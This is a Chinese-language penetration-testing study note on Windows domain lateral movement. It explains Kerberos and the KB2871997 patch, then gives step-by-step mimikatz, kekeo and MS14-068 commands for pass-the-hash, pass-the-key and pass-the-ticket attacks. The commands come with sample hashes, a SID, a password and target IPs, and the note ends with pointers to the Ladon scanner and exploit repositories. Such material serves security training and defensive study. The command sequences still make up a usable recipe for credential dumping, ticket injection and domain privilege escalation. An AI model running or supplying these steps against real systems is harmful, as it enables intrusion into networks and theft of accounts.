8.30域横向-PTH&PTK&PTT票据传递
知识点
Kerberos协议具体工作方法,在域中:
客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)。
将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据。
然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测。
检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
PTH(pass the hash) :利用lm或ntlm值进行渗透测试
PTT(pass the ticket):利用票价凭证TGT进行渗透测试 (票据类比cookie)
PTK(pass the key):利用的ekeys ase256进行渗透测试
补丁信息通过“systeminfo”查看
PTH和PTK
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击
总结:KB2871997补丁后的影响
pth:没打补丁用户都可以连接,打了补丁只能administrator连接
ptk:打了补丁才能用户都可以连接,采用aes256连接
https://www.freebuf.com/column/220740.html
PTT
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780 ;
域横向移动PTH传递-mimikatz
1、获取权限
privilege::debug
2、PTH ntlm传递
3、在未打补丁的工作组及域连接:
sekurlsa::pth /user:[用户名] /domain:[域名或“workgroup”] /ntlm:[ntlm的值]
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
成功会自动创建一个cmd,可以通过该cmd操作对应用户名的机器,如
4、查看C盘目录
dir \192.168.3.21\c$
5、IP地址不识别可以换成计算机名
注意:攻击时我们不知道IP、计算机名与用户名对应的情况,所以这是随即攻击,需要再测试看是哪个IP、计算机名对应的电脑被攻击了
“domain”的值为“workgroup”时,连接的是本地用户
域横向移动PTK传递-mimikatz
1、PTK aes256传递
打补丁后的工作组及域连接:
2、获取权限
privilege::debug
3、获取aes值
sekurlsa::ekeys
4、连接
sekurlsa::pth /user:[用户名] /domain:[域名或“workgroup”] /aes256:[aes256的值]
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e……
域横向移动PTT传递-ms14068&kekeo&本地
第一种利用漏洞ms14-068
能实现普通用户直接获取域控system权限
MS14-068 powershell执行
1.查看当前sid
whoami /user
2.启动mimikatz,不需要提升权限,能用就行
清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::purge
查看当前机器凭证
kerberos::list
将票据注入到内存中
kerberos::ptc [票据文件]
3.利用ms14-068生成TGT数据
ms14-068.exe -u [域成员名]@[域名] -s [sid] -d [域控IP地址] -p [域成员密码]
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 - p admin!@#45
4.票据注入内存
kerberos::ptc TGT_mary@god.org.ccache
5. 查看凭证列表
klist
6.利用
dir \192.168.3.21\c$
第二种利用工具kekeo
1.生成票据
.\kekeo "tgt::ask /user:[域成员名] /domain:[域名] /ntlm:[ntlm值]"
.\kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695d……"
2.导入票据
kerberos::ptt [票据文件]
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证
klist
4.利用net use载入
dir \192.168.3.21\c$
第三种利用本地票据(需管理权限)
利用mimikatz收集本地票据,再将票据导入到内存中进行连接。有存活时间限制
privilege::debug
sekurlsa::tickets /export
kerberos::ptt [票据文件]
总结:ptt传递不需本地管理员权限,连接时主机名连接,基于漏洞、工具、本地票据
国产Ladon内网杀器测试验收
信息收集-协议扫描-漏洞探针-传递攻击等
“Wiki”界面有命令介绍
信息收集
GUI:“scan”界面选“scan”,“OnlinePC”界面右键选“OnlinePC”扫描
命令行:Ladon [网段] [关键词]
涉及资源:
Kerberos协议工作原理:https://blog.csdn.net/qq_32005671/article/details/54862678
KB22871997是否真的能防御PTH攻击?:https://www.freebuf.com/column/220740.html
Ladon:https://github.com/k8gege/Ladon
Ladon 9.1.1 & CobaltStrike神龙插件发布:http://k8gege.org/Ladon/cs911.html
kekeo:https://github.com/gentilkiwi/kekeo
WindowsExploits/MS14-068:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068